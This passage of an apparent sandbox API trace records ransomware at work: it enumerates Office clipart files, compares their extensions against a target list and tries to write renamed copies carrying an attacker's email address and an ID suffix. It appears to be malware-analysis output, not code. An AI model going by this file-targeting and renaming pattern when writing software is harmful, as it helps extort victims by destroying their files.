Office\\root\\CLIPART\\PUB60COR\\J0382960.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382960.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.495] CloseHandle (hObject=0x11d0) returned 1 [0256.497] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.498] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00389_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00389_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.498] CloseHandle (hObject=0x11d0) returned 1 [0256.500] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.500] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.501] CloseHandle (hObject=0x11d0) returned 1 [0256.504] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.505] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.505] CloseHandle (hObject=0x11d0) returned 1 [0256.507] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.507] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00394_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.508] CloseHandle (hObject=0x11d0) returned 1 [0256.511] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.511] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00395_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00395_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.511] CloseHandle (hObject=0x11d0) returned 1 [0256.514] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.515] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.515] CloseHandle (hObject=0x11d0) returned 1 [0256.517] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.517] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.517] CloseHandle (hObject=0x11d0) returned 1 [0256.519] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.519] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.519] CloseHandle (hObject=0x11d0) returned 1 [0256.520] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.520] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.521] CloseHandle (hObject=0x11d0) returned 1 [0256.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.521] lstrlenW (lpString=".doc") returned 4 [0256.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.521] lstrlenW (lpString=".docx") returned 5 [0256.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.522] lstrlenW (lpString=".pdf") returned 4 [0256.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.522] lstrlenW (lpString=".xls") returned 4 [0256.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.522] lstrlenW (lpString=".xlsx") returned 5 [0256.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.522] lstrlenW (lpString=".ppt") returned 4 [0256.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.522] lstrlenW (lpString=".zip") returned 4 [0256.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.522] lstrlenW (lpString=".rar") returned 4 [0256.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.522] lstrlenW (lpString=".bz2") returned 4 [0256.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.522] lstrlenW (lpString=".7z") returned 3 [0256.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.522] lstrlenW (lpString=".dbf") returned 4 [0256.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.522] lstrlenW (lpString=".1cd") returned 4 [0256.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.522] lstrlenW (lpString=".jpg") returned 4 [0256.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.523] lstrlenW (lpString=".doc") returned 4 [0256.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.523] lstrlenW (lpString=".docx") returned 5 [0256.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.523] lstrlenW (lpString=".pdf") returned 4 [0256.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.523] lstrlenW (lpString=".xls") returned 4 [0256.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.523] lstrlenW (lpString=".xlsx") returned 5 [0256.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.523] lstrlenW (lpString=".ppt") returned 4 [0256.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.523] lstrlenW (lpString=".zip") returned 4 [0256.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.523] lstrlenW (lpString=".rar") returned 4 [0256.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.523] lstrlenW (lpString=".bz2") returned 4 [0256.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.523] lstrlenW (lpString=".7z") returned 3 [0256.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.524] lstrlenW (lpString=".dbf") returned 4 [0256.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.524] lstrlenW (lpString=".1cd") returned 4 [0256.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00438_.WMF") returned 68 [0256.524] lstrlenW (lpString=".jpg") returned 4 [0256.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.524] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.524] lstrlenW (lpString="NA00452_.WMF") returned 12 [0256.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0256.526] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=5308) returned 1 [0256.526] CloseHandle (hObject=0x11d0) returned 1 [0256.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf")) returned 0x220 [0256.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0256.527] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.527] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00452_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.528] CloseHandle (hObject=0x11d0) returned 1 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.528] lstrlenW (lpString=".doc") returned 4 [0256.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString=".docx") returned 5 [0256.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.528] lstrlenW (lpString=".pdf") returned 4 [0256.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.528] lstrlenW (lpString=".xls") returned 4 [0256.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.528] lstrlenW (lpString=".xlsx") returned 5 [0256.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.528] lstrlenW (lpString=".ppt") returned 4 [0256.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.529] lstrlenW (lpString=".zip") returned 4 [0256.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.529] lstrlenW (lpString=".rar") returned 4 [0256.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".bz2") returned 4 [0256.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".7z") returned 3 [0256.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.529] lstrlenW (lpString=".dbf") returned 4 [0256.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.529] lstrlenW (lpString=".1cd") returned 4 [0256.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.529] lstrlenW (lpString=".jpg") returned 4 [0256.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.529] lstrlenW (lpString=".doc") returned 4 [0256.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.529] lstrlenW (lpString=".docx") returned 5 [0256.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.530] lstrlenW (lpString=".pdf") returned 4 [0256.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.530] lstrlenW (lpString=".xls") returned 4 [0256.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.530] lstrlenW (lpString=".xlsx") returned 5 [0256.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.530] lstrlenW (lpString=".ppt") returned 4 [0256.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.530] lstrlenW (lpString=".zip") returned 4 [0256.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.530] lstrlenW (lpString=".rar") returned 4 [0256.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.530] lstrlenW (lpString=".bz2") returned 4 [0256.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.530] lstrlenW (lpString=".7z") returned 3 [0256.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.530] lstrlenW (lpString=".dbf") returned 4 [0256.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.530] lstrlenW (lpString=".1cd") returned 4 [0256.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00452_.WMF") returned 68 [0256.531] lstrlenW (lpString=".jpg") returned 4 [0256.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.531] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.531] lstrlenW (lpString="NA00454_.WMF") returned 12 [0256.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.550] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=5504) returned 1 [0256.550] CloseHandle (hObject=0x1288) returned 1 [0256.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf")) returned 0x220 [0256.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0256.551] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.551] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.749] CloseHandle (hObject=0x1288) returned 1 [0256.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.749] lstrlenW (lpString=".doc") returned 4 [0256.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString=".docx") returned 5 [0256.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.749] lstrlenW (lpString=".pdf") returned 4 [0256.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString=".xls") returned 4 [0256.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.749] lstrlenW (lpString=".xlsx") returned 5 [0256.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.749] lstrlenW (lpString=".ppt") returned 4 [0256.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.750] lstrlenW (lpString=".zip") returned 4 [0256.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.750] lstrlenW (lpString=".rar") returned 4 [0256.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.750] lstrlenW (lpString=".bz2") returned 4 [0256.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.750] lstrlenW (lpString=".7z") returned 3 [0256.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.750] lstrlenW (lpString=".dbf") returned 4 [0256.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.750] lstrlenW (lpString=".1cd") returned 4 [0256.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.750] lstrlenW (lpString=".jpg") returned 4 [0256.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.751] lstrlenW (lpString=".doc") returned 4 [0256.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.751] lstrlenW (lpString=".docx") returned 5 [0256.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.751] lstrlenW (lpString=".pdf") returned 4 [0256.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.751] lstrlenW (lpString=".xls") returned 4 [0256.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.751] lstrlenW (lpString=".xlsx") returned 5 [0256.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.751] lstrlenW (lpString=".ppt") returned 4 [0256.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.751] lstrlenW (lpString=".zip") returned 4 [0256.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.751] lstrlenW (lpString=".rar") returned 4 [0256.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.752] lstrlenW (lpString=".bz2") returned 4 [0256.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.752] lstrlenW (lpString=".7z") returned 3 [0256.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.752] lstrlenW (lpString=".dbf") returned 4 [0256.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.752] lstrlenW (lpString=".1cd") returned 4 [0256.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0256.752] lstrlenW (lpString=".jpg") returned 4 [0256.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.752] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.752] lstrlenW (lpString="NA01130_.WMF") returned 12 [0256.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 